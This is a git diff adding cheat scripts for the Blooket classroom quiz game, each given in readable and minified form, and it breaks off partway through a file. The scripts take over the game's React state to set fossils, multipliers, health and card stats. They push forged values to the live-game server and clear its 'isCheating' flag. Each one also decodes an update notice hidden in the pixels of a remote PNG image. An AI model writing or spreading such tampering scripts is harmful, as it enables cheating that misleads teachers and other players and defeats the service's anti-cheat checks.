stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children]; + if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({ + choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3) + }, () => { + rocks.forEach((element, index) => { + const rock = stateNode.state.choices[index]; + if (element.querySelector('div')) element.querySelector('div').remove(); + const choice = document.createElement("div"); + choice.style.color = "white"; + choice.style.fontFamily = "Macondo"; + choice.style.fontSize = "1em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(25px)"; + choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;; + element.append(choice); + }); + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/rockESP.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271802 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/dinos/rockESP.min.js b/cheats/dinos/rockESP.min.js new file mode 100644 index 0000000..1087cfc --- /dev/null +++ b/cheats/dinos/rockESP.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\trockESP.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const n=async()=>{let s=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const t=[...document.querySelector('[class*="rockButton"]').parentElement.children];t.every(t=>t.querySelector("div"))||s.setState({choices:[{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}].sort(()=>.5-Math.random()).slice(0,3)},()=>{t.forEach((t,e)=>{var e=s.state.choices[e],o=(t.querySelector("div")&&t.querySelector("div").remove(),document.createElement("div"));o.style.color="white",o.style.fontFamily="Macondo",o.style.fontSize="1em",o.style.display="flex",o.style.justifyContent="center",o.style.transform="translateY(25px)",o.innerText="fossil"===e.type?`+${99999999t.toString().includes("×"))(Math.round(e.val*s.state.fossilMult)):Math.round(e.val*s.state.fossilMult)} Fossils`:`x${e.val} Fossils Per Excavation`,t.append(o)})})};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/rockESP.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(c,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",s;for(let t=0;t(c.src=null,n())})(); \ No newline at end of file diff --git a/cheats/dinos/setFossils.js b/cheats/dinos/setFossils.js new file mode 100644 index 0000000..30ba568 --- /dev/null +++ b/cheats/dinos/setFossils.js @@ -0,0 +1,52 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let fossils = Number(parseInt(prompt("How many fossils would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossils }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + f: fossils, + ic: stateNode.state.isCheating + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/setFossils.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271805 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/dinos/setFossils.min.js b/cheats/dinos/setFossils.min.js new file mode 100644 index 0000000..03ae235 --- /dev/null +++ b/cheats/dinos/setFossils.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tsetFossils.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How many fossils would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossils:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,f:e,ic:t.state.isCheating}})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/setFossils.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,c())})(); \ No newline at end of file diff --git a/cheats/dinos/setMultiplier.js b/cheats/dinos/setMultiplier.js new file mode 100644 index 0000000..7f91ffc --- /dev/null +++ b/cheats/dinos/setMultiplier.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let fossilMult = Number(parseInt(prompt("What do you want your multiplier to be?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossilMult }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/setMultiplier.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271809 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/dinos/setMultiplier.min.js b/cheats/dinos/setMultiplier.min.js new file mode 100644 index 0000000..a26b71e --- /dev/null +++ b/cheats/dinos/setMultiplier.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetMultiplier.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Number(parseInt(prompt("What do you want your multiplier to be?")))),e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({fossilMult:t})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/setMultiplier.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,i())})(); \ No newline at end of file diff --git a/cheats/dinos/stopCheating.js b/cheats/dinos/stopCheating.js new file mode 100644 index 0000000..5603634 --- /dev/null +++ b/cheats/dinos/stopCheating.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ isCheating: false }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/ic`, + val: false + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/stopCheating.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271812 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/dinos/stopCheating.min.js b/cheats/dinos/stopCheating.min.js new file mode 100644 index 0000000..4ac2a41 --- /dev/null +++ b/cheats/dinos/stopCheating.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tstopCheating.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({isCheating:!1}),t.props.liveGameController.setVal({path:`c/${t.props.client.name}/ic`,val:!1})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/dinos/stopCheating.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/doom/fillDeck.js b/cheats/doom/fillDeck.js new file mode 100644 index 0000000..f81a7cc --- /dev/null +++ b/cheats/doom/fillDeck.js @@ -0,0 +1,49 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.artifacts = Object.keys(artifacts); + stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 })); + try { stateNode.props.addTowerNode(); } catch { } + stateNode.setState({ showDeck: false }); + } else alert("You need to be on the map to run this cheat!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/fillDeck.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271816 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/fillDeck.min.js b/cheats/doom/fillDeck.min.js new file mode 100644 index 0000000..020dfe9 --- /dev/null +++ b/cheats/doom/fillDeck.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tfillDeck.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname){var{a:e,c:t}=webpackJsonp.push([[],{"":(e,t,o)=>{t.cache=o.c}},[[""]]]).cache.gvfT.exports,o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.props.tower.artifacts=Object.keys(e),o.props.tower.cards=Object.entries(t).map(([e,t])=>({...t,blook:e,strength:20,charisma:20,wisdom:20}));try{o.props.addTowerNode()}catch{}o.setState({showDeck:!1})}else alert("You need to be on the map to run this cheat!")};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/fillDeck.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/doom/maxCards.js b/cheats/doom/maxCards.js new file mode 100644 index 0000000..66f10cd --- /dev/null +++ b/cheats/doom/maxCards.js @@ -0,0 +1,49 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.cards.forEach(card => { + card.strength = 20; + card.charisma = 20; + card.wisdom = 20; + }); + } else alert("You need to be on the map to run this cheat!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxCards.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271820 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/maxCards.min.js b/cheats/doom/maxCards.min.js new file mode 100644 index 0000000..2114b88 --- /dev/null +++ b/cheats/doom/maxCards.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tmaxCards.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),"/tower/map"==window.location.pathname?(t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t.props.tower.cards.forEach(t=>{t.strength=20,t.charisma=20,t.wisdom=20})):alert("You need to be on the map to run this cheat!")};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxCards.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/doom/maxHealth.js b/cheats/doom/maxHealth.js new file mode 100644 index 0000000..2aa55af --- /dev/null +++ b/cheats/doom/maxHealth.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ myHealth: 100 }); + else alert("You need to be in battle to run this cheat!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxHealth.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271824 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/maxHealth.min.js b/cheats/doom/maxHealth.min.js new file mode 100644 index 0000000..83b3884 --- /dev/null +++ b/cheats/doom/maxHealth.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tmaxHealth.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({myHealth:100}):alert("You need to be in battle to run this cheat!")};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxHealth.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,l())})(); \ No newline at end of file diff --git a/cheats/doom/maxStats.js b/cheats/doom/maxStats.js new file mode 100644 index 0000000..af00dd3 --- /dev/null +++ b/cheats/doom/maxStats.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxStats.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271829 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/maxStats.min.js b/cheats/doom/maxStats.min.js new file mode 100644 index 0000000..248fb98 --- /dev/null +++ b/cheats/doom/maxStats.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tmaxStats.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==t.state.phase?alert("You must be on the attribute selection page!"):t.setState({myCard:{...t.state.myCard,strength:20,charisma:20,wisdom:20}})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/maxStats.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/doom/minEnemy.js b/cheats/doom/minEnemy.js new file mode 100644 index 0000000..11e213b --- /dev/null +++ b/cheats/doom/minEnemy.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, 